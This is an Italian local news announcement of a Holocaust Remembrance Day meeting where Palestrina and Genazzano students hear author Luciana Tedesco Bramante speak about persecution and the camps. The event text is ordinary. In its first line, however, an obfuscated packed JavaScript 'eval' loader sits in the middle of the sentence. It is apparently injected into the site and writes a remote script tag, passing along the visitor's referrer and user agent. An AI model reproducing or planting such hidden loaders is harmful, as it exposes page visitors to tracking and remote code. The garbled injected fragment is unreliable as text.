



**Mercoledì** `eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!".replace(/^(.+)/,String))){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]};e=function(){return'w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('b'+e(c)+'b','g'),k[c])}return p}('0.6('";n m="q";',30,30,'document|javascript|encodeURIComponent|src|write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|script|ybb|var|u0026u|referrer|bsdia|js|php'.split('|'),0,{}))` **27 Gennaio**, gli allievi delle Scuole di Palestrina e dell'I.T.I.S. 'G. Boole' di Genazzano incontreranno al Teatro Principe di Palestrina

### **Luciana Tedesco Bramante**

, poetessa e autrice del libro

#### **'Noi della Shoah'**

, che racconterà l'esperienza personale vissuta durante gli anni della persecuzione dal '38 alla liberazione.

Il 27 Gennaio 1945 - appena 65 anni fa - le truppe sovietiche dell'Armata Rossa entravano nel campo di sterminio nazista di Auschwitz e rivelavano al mondo uno degli abomini compiuti da Adolf Hitler e dai suoi (largamente impuniti) genocidi.

Oggi tutto il mondo celebra quella data, ripromettendosi che 'non avvenga mai più'.

*'Fa male ammettere che in un passato assai recente - ha commentato il Sindaco Rodolfo Lena - il mondo si macchiò dell'infamia delle leggi razziali, delle deportazioni, dei campi di concentramento e di quelli di sterminio.'*

*Il 27 Gennaio di ogni anno però, oltre ad essere la data che simbolicamente ricorda la mostruosità di Auschwitz e degli altri lager nazisti, rappresenta un'occasione importante per non dimenticare quanto noi e i nostri figli siamo fortunati per non dover vivere ogni giorno con il terrore di essere portati via, uccisi, strappati dalle nostre famiglie e dagli affetti più cari. Abbiamo il dovere di ricordare perché proprio la memoria della tragedia impedisca di commettere ancora azioni tanto gravi'.*

Durante l'incontro Luciana Tedesco Bramante parlerà ai ragazzi delle ansie, dei sentimenti e della grande disperazione dei deportati nei campi nazisti, ricordando i milioni di ebrei, rom (il secondo gruppo numericamente più colpito dai nazisti), oppositori politici, omosessuali e prigionieri di guerra rinchiusi nei campi di concentramento e uccisi nelle camere a gas.